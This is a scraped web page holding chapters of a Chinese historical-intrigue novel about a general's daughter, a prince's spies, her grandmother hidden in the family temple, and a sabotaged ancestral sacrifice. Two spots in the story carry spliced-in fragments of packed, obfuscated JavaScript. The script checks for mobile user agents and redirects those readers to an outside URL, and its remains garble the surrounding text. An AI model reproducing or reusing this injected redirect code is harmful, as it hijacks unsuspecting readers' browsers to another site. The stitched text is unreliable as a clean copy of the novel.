了床上，替她掖好锦被，而后便随着胡舟，踏入了沉沉夜色之中。 ...... 黑衣人出了暖居阁，右手臂的伤口仍在渗血，他死死按住伤处，踉跄行至幽深巷口。 夜风卷着寒意拂过，他总觉后颈发发毛，似有一道视线牢牢锁着自己，便四下环顾一番，巷中唯有漆黑一片，半分人影也无并。 正欲松口气继续前行时，右上方忽然传来一阵细微的破风之声。借着月色，他余光瞥见一点白芒袭来。 仓促间他俯身，偏头。一枚泛着冷光的飞镖堪堪从他脸上的面巾上擦过，布料瞬间就被划开了一道裂口，险些便要划破低下的皮肉。 未等他回神，一道玄色身影已足尖点地，自墙头纵落，稳稳立在他面前，竟是个与他衣饰无二的男子。 “我就知道是你，隐夜！”黑衣人咬牙低喝。 隐夜弯腰拾起地上的飞镖，指尖捻着镖身，淡漠扫了他一眼，“再慢半分，你的脸就要跟着面巾一道开口了。” 黑衣人立即就抬出受伤的右臂，伤口的血正顺着指缝往下淌，“没看见我受了伤吗？” 隐夜瞥了眼那伤口，眉峰微蹙，语气依旧平板，还带着几分不易的揶揄，“我只瞧见堂堂明大侍卫，竟被一个小婢女所伤。” “你！”明霄一口气堵在喉咙口，惊怒交加地指着他道：“你方才明明就在附近，为何袖手旁观？” “这是殿下亲自吩咐你的差事，我的职责，只是在给你传信报位。”隐夜将飞镖收入腰间，语气平淡得不近人情。 明霄被他这副油盐不进的模样噎得哑口无言，只觉这人死脑筋，比他手臂上的伤口还要磨人。 明霄被噎得胸口发闷，索性不再跟这死脑筋掰扯，咬牙按住伤口往巷深处走，脚步踉跄间，血珠滴落在青石板上，晕开一小片暗沉的痕迹。 “去哪？”隐夜的声音在身后不紧不慢响起。 “回府复命，难不成在这喝西北风？”明霄头也不回，语气里满是火气。他今日本是奉殿下之命去试探这宋府大小姐，谁知不仅没探出底细，反倒折了条手臂，还被这冷面家伙看了笑话，这口气实在咽不下去。 隐夜却身形一晃，拦在了他身前，目光扫过他渗血的伤口，又瞥了眼巷口方向，“殿下要的是她的底细，不是你带回去的一身伤。况且你这模样回府，怕不是要先被医官扣下，还怎么回话？” 明霄一怔，随即沉下脸，“那你说怎么办？难不成在这荒巷里自己包扎？” 隐夜没应声，只是从怀中摸出个小巧的瓷瓶，抛到他面前，“先止了血，跟我来。” 明霄接住瓷瓶，瓶身微凉，他愣了愣，还是拔开塞子，将瓶中粉末倒在伤口上。一股辛辣的痛感瞬间袭来，疼得他额角青筋直跳，可血却真的渐渐止住了。 “殿下早料到你会失手，这才让我在此接应。”隐夜已转身往巷尾的一道矮墙走去。 明霄盯着他的背影，又看了看手中的瓷瓶，心里那点火气莫名消了大半。他闷哼一声，快步跟上。 37. 棋子 明霄跟着隐夜往尾巷的一道矮墙走去，不久便见眼前是一座废弃的药庐。 二人抬脚迈了进去。 隐夜率先开口，“先在此处处理伤口，顺便说说方才的情形。” 明霄依言便褪去右臂衣物，肌肉健硕的右臂上，一道伤口深可见骨。他偏着脑袋打量着伤口处，心底暗忖。 那小丫头看着不起眼，下手竟这般狠戾。 他将方才的药粉全部倒在了伤口处，又从衣摆撕下布条，利落将其缠好包扎。 隐夜见明霄并没有回话，忍不住又问了句，“方才里头是什么情形？” 明霄置若罔闻，甚至连一个眼角余光都没施舍给他。 这可把隐夜惹急了，拔高了声音又问，“你倒是吱声啊！” 直到这时，明霄才缓缓抬眼，语气薄凉，“殿下只吩咐我向他回禀消息，没说要告知你。” 一招“以其人之道，还治其人之身”，噎得隐夜瞬间闭嘴不在过问。满脸吃瘪的神色，可让明霄心头生出几分快意。 处理好伤口，二人便借着夜色的掩护，悄然返回了宸王府。 此时王府书房内，箫凛正垂眸翻阅着古籍。 明霄与隐夜拱手上前朝他行了个礼，明霄率先开口禀报，“殿下，属下已按你的吩咐，去将军府试探了宋家大小姐。” “那宋家大小姐并未对属下动手，且面露恐惧神色却十分镇定。依属下看，她应当不是咱们要找的人。” 箫凛听着此话，视线仍停留在书页上，思绪却早已翻涌。 此前隐夜循着明霄跟踪的在醉仙楼学琴的女子所走到大致方向、荷包的纹路样式，再结合服饰特征布料排查等诸多线索，才将目标锁定在将军府。将军府仅有两位小姐，嫡女性情柔弱，庶女娇纵蛮横。 可他反倒觉得，那嫡女的柔弱更像伪装，便猜她的行事路数应与自己相似，说不定是藏拙示弱，暗中筹谋着大事。 他抬眸正要细问，视线却忽然落在明霄的右臂上。玄色劲装本就深沉，可唯有那一处的颜色却明显深于周遭，空气中还隐隐飘着一丝若有若无的血腥味。 “你受伤了？”箫凛沉声问道。 明霄正要回话，余光瞥见身侧的隐夜嘴角扬起的嘲讽弧度，当即狠狠瞪了他一眼，示意他少多嘴。 “属下当时本想吓吓那宋家大小姐，没成想被她身边护主心切的婢女伤了。”明霄躬身答道。 “是被何物所伤？” “一枚匕首，只是匕首沾了属下的血，没能看清具体样式。”明霄顿了顿，又补充一句，“不过属下敢肯定，那婢女定是不会武功的，胆子也是极小，应是情急之下才敢动手。” 箫凛沉思一番，正欲再问后续。 明霄又接着禀报，“后来府上赶来了一名侍卫护住了宋家大小姐，属下怕动静闹大，便先退走了。” “那侍卫可有什么奇特之处？” “看服饰应是府上的人，瞧着像是专门暗中保护宋家大小姐的。” 箫凛执书的手微微一顿，心底疑窦丛生。将军府的传闻他倒是听过不少，这嫡小姐是正妻宋夫人所生，从妾室入门，便日渐失宠。论理，宋将军绝不会特地派人护着她；而宋夫人母家已然败落，也没能力安排人手。 他忽然想起，此女还是太子的未婚妻，难道是他暗中派的人？ “太子近日可有见过宋家大小姐？”箫凛抬眼问道。 明霄摇了摇头，他连日都在追查橘衣女子的下落，哪有功夫盯着太子的行踪，“属下不知。” 一旁的隐夜突然开口道：“殿下，属下曾在望京街见过一次。” “那日太子回东宫，恰逢宋家姐妹也在街边，宋二小姐本想要将嫡姐推出去凑到太子跟前，反倒自己失足摔了出去。”他语气微顿，又道，“不过当时太子并未与宋家大小姐多说什么，却让侍从将宋家二小姐送回了府，便径直走了。” 箫凛听完隐夜这话，左手的古籍搁在了书案上，右手指尖摩挲着扇柄边缘，眸色霎时间沉了几分。 “太子那性子，素来好面子，若真是他暗中派人护着宋家嫡女，断不会在街边那般冷淡。”他起身踱步至燃烧正旺的烛火，“此事怕是另有隐情。” 明霄垂立在一旁，右臂的伤口隐隐作痛，听了殿下这番推测，自己毫无思绪。 随后箫凛挥了挥手，命明霄暂且退下，将伤口重新包扎。 明霄便躬身一礼，先行退下。 殿内便只剩二人。 隐夜想了一瞬，凑上前道：“殿下，依属下看，说不定是那宋家大小姐自己暗中培养的人手？毕竟她这府中处境尴尬，留些后手也合情合理。” “她一个失宠的嫡女，哪来的银钱和门路养暗卫？”箫凛回头扫了他一眼，语气带着几分质疑，“将军府上的账册我看过，宋夫人的月例都被克扣了大半，宋韫的份例更是少得可怜。” 这话让隐夜一时语塞，挠了挠头不再作声。 殿内烛火轻晃，屋檐外风声呜咽，场面顿时陷入一片沉寂。 ...... 良久，隐夜才像是想起什么，再度开口补充，“殿下，属下还查到一事。上月太子身边的人去城西，是去见了几个面生之人，具体交谈内容属下没能探知，只知那几个人几日后便去了城外普清寺。巧的是，那日宋大小姐也去了普清寺。” 箫凛的脚步猛地一顿，烛火的光影在他棱角分明的脸上投下深浅不的定轮廓，他捏着扇柄的指尖骤然收紧，骨节泛着青白，“普清寺？她去那处做什么？” “听闻每月这个时日，宋家大小姐都会替久病缠身的宋夫人上香祈福，已是坚持了数年。”隐夜低声回道。 “那太子的人去普清寺又是为何？”箫凛追问。 隐夜无奈摇头，“属下暂时还未查清，”话锋一转，又添了句关键的，“不过那日宋大小姐在途中，还因马匹受惊失足坠涯，在府中休养了好些时日才痊愈。” 将这几件事串在一起，隐夜忽然觉得此事暗藏玄机。 箫凛垂眸沉吟片刻，扇尖在掌心轻轻敲了两下，眸中闪过一丝冷光，“坠涯之事怕没那么简单。太子的人前脚去了普清寺，她后脚就坠崖，未免太过凑巧。” 隐夜也跟着点头，“属下也是这么想的。且因她不受宠没侍卫护送就算了，而那日负责护送的车夫也不见得踪影，这其中怕是有猫腻。” “去查，”箫凛抬眼，声音冷冽如冰，“查那几个人的底线，查宋韫坠崖的具体经过，还有车夫的下落。” 他语气一顿，又添一句，“另外，派人暗中盯着宋府，尤其是宋韫的院落，她一个柔弱女子既然能在那样的处境下活着回来，定还有不为人知的本事，切记不可掉以轻心。” 隐夜抱拳领命，“属下明白，这就去安排。” 待隐夜的身影消失在夜色之中，箫凛才缓步走到窗边，推开半扇窗，晚风裹挟着寒气灌入殿内，吹动他墨色的衣摆。他望着远处宋府的方向，指尖无意识的摩挲着扇骨，低声自语，“宋韫，你究竟是棋子，还是执棋人？” 月光洒在他脸上，映出眼底深不见底的探究。 * 夜色如墨，寒意浸骨。 汀竹跟着胡舟七拐八绕，避开了宋府巡夜的护卫，最终停在了一堵高墙之下。 墙根堆着些竹棍柴薪，胡舟俯身将其挪开，一道矮小狭窄的木门便露了出来。他从怀中摸出一把钥匙，咔哒一声打开了锁，率先进了去。 汀竹紧随其后，一脚踏入，便知此处是将军府家庙。 不多时，胡舟引着她到了家庙的后院，正是宋老夫人囚禁的院落之处。 望着前方烛火通明的屋舍，再瞥一眼身侧的胡舟，汀竹心中一震。 原来胡舟竟是宋老夫人的人。 行至屋门前，汀竹在阶下驻足。胡舟上前叩了门三下，躬身低语：“老夫人，小的已将大小姐带来。” 屋内随即传来一道苍老却沉稳的声线，“带她进来吧。” “是。”胡舟应声，轻轻推开了屋门，又转身面朝汀竹拱手相让，“小姐请。” 汀竹抬步上了阶梯，缓缓迈入屋内。 转身便见床前端坐着一位老妇，衣着 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“为了保命罢了。”宋老夫人长叹一声，眼底浮现着一丝冷意，“周氏心肠歹毒，买通了风水先生，污蔑我冲撞了邪祟。我便将计就计，躲进了这家庙后院，好叫她放下戒心。” “祖母那……”汀竹话到嘴边又顿住。 宋老夫人却已看穿她的疑虑，接了话茬，“是想问为何要下令处死那通房？” 汀竹继而又点头。 “事实并非如此，”宋夫人轻蹙眉头，语气添了几分怅然，“那丫头是难产大出血去的，不知怎的就被传成是我下的狠手。” “我本以为将此事置之不理便也就过去，熟料竟让周氏钻了空子，反倒坐实了我“疯癫”的名声。” “祖母，那胡舟是？”汀竹终究是将心中最大的疑惑问了出来。 “胡舟是我身边嬷嬷的亲侄，为护我与他姑母，他才夜夜在这家庙外装神弄鬼，扮作阴魂，好叫旁人不敢擅闯，也好叫周氏彻底安心。”宋老夫人解释道，话锋忽转，“倒是你这丫头，何时竟有这般胆识了？” 听了宋老夫人的剖白，汀竹心头的疑云散了大半。她眸光一转，嘴角勾起一抹浅淡的笑，话里带着几分试探，“祖母应知清禾上月坠崖一事吧？” 宋老夫人缓缓颔首。 “自那次坠崖后，孙女便像是开了窍。”汀竹语气沉了几分，眼底掠过一丝凉意，“我总觉得，那次坠崖并非意外，而是有人暗中谋划。孙女猜测这幕后之人，便是周氏。” 她隐去些许细节，只将周氏可能会对宋韫不利的猜测和盘托出。毕竟老夫人是敌是友，她尚未辨别，不敢贸然交底。 “好个毒妇！”宋老夫人听罢，气得猛地捶了下床塌，苍老的面庞上满是震怒，“竟连你这孩子也不肯放过！” 宋老夫人因气得胸口剧烈起伏了半晌，才在嬷嬷递来的温茶润喉下，稍稍压下了怒意。她握住汀竹的手，掌心粗糙却带着温热的力道，“你既已察觉，可曾查到什么实据？” 汀竹垂眸，手指无意识的抚过衣袖上的暗纹，“实据尚且不足，只查到母亲每日服用的汤药被人混着些不易察觉到凉性药材，久服恐伤根本。”这里汀竹隐瞒了宋夫人长期吸入慢性毒药的实情。 宋老夫人眼底的慈和尽数褪去，只剩一片冰寒，“她这是要......” 屋中静了片刻，烛火摇曳，将两人的影子投在窗棂上，忽明忽暗。老夫人沉默许久，才沉声道：“周氏嫁入宋家十余年，早已暗中培植了不少势力，府中管家之权大半在她手中，连你父亲也被她哄得昏了头。隐我于此处，便是为了暗中查探，可惜手能伸到地方有限。” “那祖母打算如何？”汀竹抬眸，眼中闪过一丝急切。 老夫人拍了拍她的手，语气重又稳了下来，“你且先安兵不动，在明处与她周旋。” “再过几日便是冬烝，想必你是打算借鬼魂索命扳倒周氏吧？” 汀竹闻言一惊，脱口问道：“祖母怎会知晓？”话音未落，她便下意识瞥了一眼立在角落、始终垂首不语的胡舟。 38. 冬蒸 汀竹走后不久。 宋老夫人身边的胡嬷嬷轻声道：“老夫人，大小姐如今是真长大了。倒完全不似先前那么怯弱顺从，如今行事倒有您年轻时年果决风骨。” “懦弱也好，刚硬也罢。嫡女依旧是嫡女，宋韫依旧是宋韫，这点改不了。”宋老夫人闻言，手指抠着菩提子串，轻叹了一口气。 “只是老夫人方才那番话，大小姐能信几分？”胡嬷嬷忧心追问一句。 “信与不信，全看她自己的造化。”老夫人眼帘微垂，嗓音沉了沉，“这其中的水太深，一旦沾染上分毫，便会是万劫不复。这孩子太苦了，只盼她往后所行之路，能平顺些。” “老夫人放心，奴婢已叮嘱胡舟，便是拼上性命，也护得大小姐周全。”胡嬷嬷躬身应道。 - 十月十五，冬烝之礼。 太和城中家家户户皆祭祀先祖，崇文轩因此便放了一日假。 汀竹初醒，便让锁秋为自己梳洗打扮。 她本以为那日与周姨娘私会的陌生男子，便是家庙夜里唱戏的鬼魅，本想借此人设局，引周姨娘入套。可一番查探下来，却发现事与愿违。二者不仅是两人，更是毫无牵扯的陌路。 自那日听了宋老夫人的那番话，先前的计策已然行不通。无凭无据，加之她如今处境被动，唯有另寻出路，化被动为主动。 “小姐，先前你吩咐备下的鸡血，还能用得上吗？”锁秋一边为她绾发，一边问道。 为了这罐鸡血，她这几日借着为夫人炖药膳的由头，每日潜入后厨，用瓷瓶将刚杀不久所留的鸡血悄悄积攒，才凑得这小小一罐。 闻言，汀竹摇了摇头。 她本打算在祭祀前，在周姨娘准备的供品肉上提前洒上生鸡血，让其背上冲撞先祖、大不敬的罪名。先折损周姨娘的体面，再趁夜潜入西厢，扮作受扰的先祖鬼魂恐吓于她。以周姨娘的性子，久了必会请风水先生入府，届时借风水先生之口，说她似是中邪，恰如当年宋老夫人那般。 如此一来，周姨娘定然辩解，反证这风水先生所言是假。既如此汀竹就可点名，当年宋老夫人中邪之事便另有蹊跷。宋将军为了颜面必会重查旧事，而周姨娘为自保，多半会对宋老夫人痛下杀手...... “那这鸡血，奴婢是倒了还是......”锁秋纠结地望着案上的瓷罐。 汀竹瞥了眼那罐暗红的鸡血，缓声道：“先留着。待祭祀后，我在将其制成祛风、活血、通络的药丸。” “好。” 锁秋刚将瓷罐收好后，周姨娘的丫鬟便来传话，问她是否已然装扮妥当。 于是，汀竹就带着锁秋，跟着那丫鬟往家庙去了。 将军府的祭祀于家庙正殿里，檀香混着松枝燃出的清气，漫过高悬的“敬天法祖”匾额，萦绕在祭案上那排程亮的青铜杯旁。朔风卷着枯叶拍在瓦砾上，簌簌作响，倒添了几分肃穆。 殿内早已肃静，宋将军身着玄色祭服立于案前，面容沉肃如铁。宋夫人位于宋将军左侧，衣着石青色暗纹衣裳，尽显主母的端庄。而周姨娘一身素色褙子，鬓边簪着一朵白玉兰，垂立在右侧。宋婉则站在周姨娘后方，眉眼间带着几分不耐。 见汀竹进来，宋婉率先开口，语气带着几分刻意的揶揄，“祭祀这么大的日子，就姐姐还来的这般慢。” 宋将军沉着眸子，声音冷冽如冰，“祭祀重地，不得喧哗。长幼有序，莲溪你愈发无状了。” 周姨娘连忙打圆场，语气柔婉却藏着偏袒：“将军息怒，莲溪也是心直口快，想着祭祀吉时要紧。大小姐许是路上耽搁了，快些入列吧，莫让先祖等急了。”眼角飞快掠过一丝暗藏讥诮，随即又掩在了温婉的笑意之中。 汀竹垂眸敛衽，语气平静无波，“劳父亲训诫，让妹妹挂心了。许是昨晚吃错了东西，方才腹中绞痛，不得已耽搁了片刻，绝非有意轻慢祭祀大典。”她抬眸时，目光恰好与周姨娘的视线撞个正着，见对方笑意未达眼底，只淡淡颔首，便稳步走到宋夫人身侧站定。 宋夫人伸手轻轻拍了拍她的手背，指尖带着微凉的暖意，低声道：“无妨，来了便好。”宋夫人的维护不着痕迹，却让汀竹心中一暖。 宋将军脸色稍缓，沉声道：“既已到齐，祭祀开始。” 话音落，殿外传来三声清脆的钟鸣，香火缭绕中，宋将军手持祭文，声如洪钟般诵读起来。祭文声沉缓悠扬，混着香火气息，在空旷的正堂里荡开。 汀竹垂着眼，放在腹部前的双手互相掐着解乏，目光随意扫过，忽然却落在祭案上的供品。周姨娘备下的那盘酱肘子色泽油亮，码得齐整，与其他供品素雅格格不入，倒像是刻意张扬。 锁秋站在她身后半步，悄悄抬眼，瞥见方才来暖居阁传话的丫鬟正趁着众人低头听祭文间隙，飞快地用银簪拨了拨那盘肘子下的衬布，动作隐秘，却恰好落在汀竹眼里。 祭文读罢，宋将军手持酒爵，依次洒向地面，行跪拜大礼。众人随之俯身，额头触地的瞬间，汀竹听见身侧传来一声极轻的“嗤”笑，正是来自周姨娘的方向。 起身时，周姨娘忽然开口，声音柔婉却带着刻意的关切，“大小姐，你瞧你脸色这般苍白，莫不是昨夜没歇息好？方才祭拜时，我见你身子都在发颤，可别冲撞了先祖。” 这话看似关心，实则暗指她心不诚、体不恭。 汀竹抬眸，眼底不见半分慌乱，只淡淡道：“劳姨娘挂心。清禾本就体弱，许是方才进庙时，被门外的朔风呛了肺腑，不碍事的。倒是姨娘准备的供品，瞧着太过丰盛，先祖素来喜简，这般铺张，怕是反倒扰了先祖清净。” 她话音刚落，宋将军便瞥了眼那盘酱肘子，眉头微蹙。 宋婉立刻接话，语气带着几分尖刻，“祭祀先祖，本就该拿出十足诚心！姨娘费心准备供品是一片孝心，姐姐怎能这般说？” 周姨娘脸上的笑意一僵，忙顺着话头解释道：“将军，这是我特意让人按先祖生前喜好烹制的，想着许久未曾好好祭拜，便多备了些……” “先祖在世时，最忌奢靡。”汀竹截断她的话，语气平静却带着不容置疑的笃定，“我曾听母亲说过，先祖当年镇守边关，一餐不过粗茶淡饭，便是节庆，也只添一碗白粥。姨娘这番心意，怕是用错了地方。” 宋将军的脸色沉了沉，没再说话，只是转身对着先祖牌位又行了一礼。周姨娘被噎得说不出话，狠狠瞪了汀竹一眼，眼底满是怨毒。 祭祀仪式过半，需由家中女眷轮流上前添香。轮到汀竹时，她缓步走到祭案前，拿起香炷点燃，刚要俯身插入香炉，忽然脚下一滑，身子猛地向前倾去。 竟是被人悄悄踩住裙摆！ 她顺势扶住祭案，指尖恰好碰到那盘酱肘子，瓷盘“哐当”晃动，一块油亮的肘子掉落在地，恰好滚到周姨娘脚边。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852174|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎呀！”锁秋惊呼一声，连忙上前扶住汀竹，“小姐，你没事吧？” 汀竹站稳身子，垂眸看着地上的肘子，又抬眼望向周姨娘身侧那个神色慌张的丫鬟，缓缓道：“许是我福薄，配不上为先祖添香。只是这供品落地，沾染了尘埃，怕是真的冲撞了先祖。” 宋将军脸色愈发难看，沉声道：“祭祀重地，怎会如此失态？” 周姨娘连忙上前，假意惋惜道：“这可如何是好？都是我思虑不周，备的供品太过厚重，才让大小姐失了手。” “祭祀这般重要的事情，姐姐这般失态，肯定会冲撞了先祖！”宋婉紧跟着补了一句，语气带着幸灾乐祸。周姨娘立刻假意嗔怪，“莲溪怎可这般说话？想来先祖仁慈，定会体谅大小姐的无心之失。” “人都有无心之过，”宋夫人开口圆场，“掉落了便让丫鬟们赶紧清理干净，再换一份供品上来便是，莫要误了吉时。” “嫡母！”宋婉不服气地反驳，“本就是姐姐失态在先，怎能轻描淡写揭过？总不能因姐姐是嫡母所生，这般冲撞先祖的事，也不能这般维护吧？” “你！”宋夫人被她气得心口发闷，捏着绣帕的手指紧紧攥着。 “不必了。”汀竹忽然开口,目光落在那块掉在地上的肘子上，“先祖若真仁慈，便不会因这点小事怪罪。只是这供品落地，按祖训，当由失仪之人亲自捧着，再在家庙正殿跪诵《孝经》百遍，以赎其罪。” “清禾……”宋夫人轻唤了一声，满眼担忧，却见汀竹递来一个“请放心”的眼神，话到嘴边又咽了回去。 汀竹又顿了顿，看向宋将军，语气恭敬却坚定，“父亲，女儿失仪，愿领此罚。只是……”她目光扫过周姨娘身侧的丫鬟，“方才女儿裙摆似是被人踩踏，才失了平衡。此事若不查明，怕是有人故意搅乱祭祀，其心可诛。” “姐姐有什么证据，证明是被人踩踏？”宋婉立刻反问，语气带着挑衅，“莫不是自己失足，想找个替罪羊？” 汀竹闻言，缓缓提起被踩踏的裙摆一角。 那素色裙摆的下缘，赫然映着一个清晰的鞋印，边缘还带着些许泥土痕迹，显然是方才被人用力踩过的模样。 “这便是证据。”汀竹指着裙摆的鞋印，语气平静却字字掷地有声，“这鞋印落在裙摆后侧，我自己断无可能踩到。分明是有人在暗中作祟，刻意绊我。” 宋将军一看，裙摆后侧的鞋印上，纹路清晰、泥痕新鲜，绝非无意勾绊所能留下。目光锐利地扫过在场的丫鬟仆妇，沉声道：“查！今日之事，必须查个水落石出！” 周姨娘脸色一白，强装镇定道：“将军，许是丫鬟们不小心踩到了大小姐，何必小题大做？祭祀要紧，莫要再耽搁了。” “祭祀之事，最重诚心与规矩。”汀竹迎上宋将军的目光，“父亲，规矩不可废。女儿愿领罚，但也请父亲还女儿一个清白，还先祖一个安宁。” 锁秋也连忙附和，“将军，小姐素来稳重，今日定是有人作祟！方才奴婢就瞧见姨娘身边的鹿仁，一直盯着小姐的裙摆看！” 鹿仁吓得脸色惨白，连忙跪地求饶，“将军饶命！奴婢没有！奴婢万万不敢啊！” 周姨娘又急又怒，呵斥道：“你这丫鬟，休要胡言乱语！还不快给将军和大小姐磕头认错！” 一时间，正堂内人心惶惶，檀香依旧缭绕，却添了几分剑拔弩张的意味。 39. 第 39 章 宋将军目光如炬，扫过春桃惨白的脸，沉声道：“拖下去，带到偏殿仔细盘问！若有半句虚言，家法伺候！” 两名侍卫应声上前，架起瘫软在地的鹿仁便往外走。鹿仁哭得撕心裂肺，连连喊着“姨娘救我”，周姨娘脸色铁青，指甲几乎嵌进掌心，却不敢再多言。 宋将军动了怒，此刻求情只会引火烧身。 祭祀暂且中断，正堂内气氛凝重。宋将军背着手踱了两步，看向汀竹，“你且先在正殿领罚，待查明真相，为父自会给你一个交代。” “谢父亲。”汀竹躬身应道，转身时，余光瞥见周姨娘眼底的怨毒几乎要溢出来，她心中冷笑，面上却依旧平静无波。 随后宋将军便领着一众人去了偏殿，只留仆从在正殿。 正殿香烛烟火袅袅，带着松枝燃烧后的气味。汀竹捧着那块沾染尘埃的肘子，跪在蒲团上，缓缓翻开《孝经》。 锁秋站在一旁，为她添着茶水，低声道：“小姐，您真要跪诵百遍？这殿内寒气重，您身子本就单薄……” “规矩不能破。”汀竹淡淡开口，目光落在经文上，声音清晰而沉稳，“况且，这百遍《孝经》，不仅是诵给先祖听，也是诵给父亲听，诵给府中所有人听。” 她要让所有人都知道，宋韫不再是那个任人拿捏的软柿子。她守规矩，却也懂反击；她领罚，却也绝不会白白受辱。 诵经声在空旷的后殿里回荡，与偏殿偶尔传来的呵斥声交织在一起。不知过了多久，偏殿方向忽然传来一声凄厉的惨叫，随后便没了声息。锁秋吓得一哆嗦，手中的茶盏险些落地。 汀竹却仿佛未闻，依旧专注地诵读着经文，指尖划过泛黄的纸页，字迹遒劲有力。直到第七十三遍时，一名侍卫匆匆进来禀报，“大小姐，将军让您去偏殿一趟，鹿仁招了。” 汀竹合上书卷，缓缓起身，膝盖早已跪得发麻，却依旧挺直了脊背。她将那块肘子交给锁秋，整理了一下衣襟，迈步走向正堂。 偏殿内，鹿仁被打得皮开肉绽，趴在地上奄奄一息。周姨娘站在一旁，脸色惨白如纸，见汀竹进来，眼神躲闪，不敢与她对视。 宋将军坐在主位上，脸色阴沉得能滴出水来：“清禾，鹿仁已经招了，是她一时糊涂，见你裙摆好看，便想伸手摸摸，不慎踩住了你的裙摆，并非有意为之。” 她这素色裙摆又无绣花纹路有啥好看的，这话显然是在为周姨娘开脱。 汀竹心中了然，却并未点破，只是躬身道：“既然是误会，那便罢了。只是鹿仁身为姨娘身边的丫鬟，在祭祀重地如此失仪，按规矩也该好好管教一番，也好让其他丫鬟引以为戒。” 她顿了顿，目光看向周姨娘，语气平静却带着分量，“姨娘，你说呢？” 周姨娘强压下心中的慌乱，勉强挤出一丝笑意，“是是是，大小姐说得极是。回头我定好好教训鹿仁，让她再也不敢如此放肆。” “如此便好。”汀竹微微颔首，“祭祀还未结束，父亲，母亲，我们还是尽快完成仪式吧，莫要让先祖久等。” 宋将军点了点头，挥了挥手让侍卫将鹿仁拖下去。祭祀重新开始，只是气氛却愈发沉闷。周姨娘全程低垂着头，再也不敢多言一句，更不敢看汀竹一眼。 而宋婉眼神愈发毒恨，碍于父亲的威严，只能将怒气咽进肚子里，默不作声。 汀竹站在女眷之中，望着祭案上的牌位，眼底掠过一丝深意。鹿仁招供得太过轻易，显然是周姨娘让她顶了罪。但这并不重要，重要的是，经此一事，宋将军心中已然对周姨娘有了芥蒂，而她，也终于在这将军府中，站稳了第一步。 仪式结束后，众人各自散去。汀竹带着锁秋往回走，刚走出家庙，便见胡舟候在门外，见她出来，躬身道：“大小姐，老夫人让小的给您送些暖身的姜汤。” 他递过来一个温热的食盒，汀竹接过，指尖触到暖意，心中微动。她打开食盒，里面是一碗冒着热气的姜汤，还放着两块红糖。 “替我谢过祖母。”汀竹轻声道。 胡舟应了声，又道：“老夫人还说，夜里风大，让大小姐早些歇息，府中之事，不必太过强求，保全自身为重。” 汀竹点了点头，看着胡舟离去的背影，心中五味杂陈。老夫人的态度始终暧昧不明，既像是在帮她，又像是在提醒她什么。但无论如何，她知道，往后的路，终究要靠自己走下去。 回到院中，锁秋将姜汤递给汀竹，“小姐，快喝了暖暖身子吧。今日跪了那么久，肯定冻坏了。” 汀竹接过姜汤，喝了一口，暖意顺着喉咙滑入腹中，驱散了些许寒意。她看向窗外，朔风依旧呼啸，枯叶纷飞，却仿佛预示着一场更大的风暴，即将来临。 夜凉如水，月光透过窗棂，在地上投下斑驳的影子。汀竹坐在桌案前，指尖捻着一枚刚制成的鸡血药丸，药丸呈暗红色，带着淡淡的草药气息。 锁秋在一旁为她研磨着些草药粉末，低声道：“小姐，这药丸真能祛风活血？奴婢瞧着倒像是普通的药丸子。” “能不能用，要看送给谁。”汀竹唇角勾起一抹浅笑，将药丸收入锦盒，“周姨娘这些日子怕是寝食难安，心绪不宁最易招风邪，这药丸送她，再合适不过。” 锁秋眼睛一亮，恍然大悟，“小姐是想……” 汀竹笑意未变，只抬了抬下巴，“你去将杏儿唤来。” 片刻之后，锁秋领着杏儿进来了。 “小姐安。”杏儿鞠躬福了一礼，言语带着些胆怯，“不知小姐唤奴婢前来，可是有何吩咐？” “明日待锁秋去西厢院送了这药丸之后，你再去西厢院一趟。”汀竹摸了摸锦盒的盖面，语气平静无波澜，“你特意告诉周姨娘这药丸是用鸡血所制。再添一句，就说你听到我与锁秋密谋，要在府中散播她冲撞先祖的流言，想借此逼她请风水先生，再借风水先生之手扳倒她。” 杏儿脸色微变，嗫嚅道：“小姐，可是……” “按我说的做便是。”汀竹打断她，语气里添了几分不容置喙。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856245|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是，奴婢明白。”杏儿不敢多言，躬身应下。 待杏儿退下后，锁秋终是按捺不住的担忧，“小姐，你这般将谋划说与周姨娘听，不怕她提前防备？” “就怕她不防备……”说到这，汀竹抬眸，眼底翻涌着暗芒，话未说完，便被窗外的风声掩去了后半截。 次日清晨，锁秋便按汀竹的所说，提着锦盒去了西厢院。周姨娘正坐在窗前唉声叹气，见锁秋进来，脸色顿时沉了下来，“你来做什么？” “回姨娘的话，”锁秋躬身行礼，将锦盒递上前，“我家小姐感念昨日祭祀时姨娘关心她的身子，特意让人制了些祛风活血的药丸，让奴婢送来给姨娘补补。小姐说，姨娘近日操持祭祀之事，定是累着了。” 周姨娘瞥了眼锦盒，心中疑虑万分。她与宋韫素来不和，如今对方突然送礼，定没安什么好心。可当着一众丫鬟的面，她又不好直接拒绝，只得强装笑意，“难为大小姐有心了，替我谢过她。” 锁秋放下锦盒，又说了几句客套话，便转身离去。 她刚走不久，杏儿便急匆匆地找上周姨娘的贴身丫鬟梨画，说是有关于大小姐的要紧事，务必禀明姨娘。 周姨娘一听，顿时来了精神，连忙让梨画将人领进正堂。 “何事这般慌张？”周姨娘端起茶盏，漫不经心地吹了吹浮沫。 杏儿膝行半步，压低声音道：“姨娘，那药丸万万吃不得！奴婢昨日无意间听到，大小姐跟锁秋说，这药丸是用府里的鸡血所制的！” 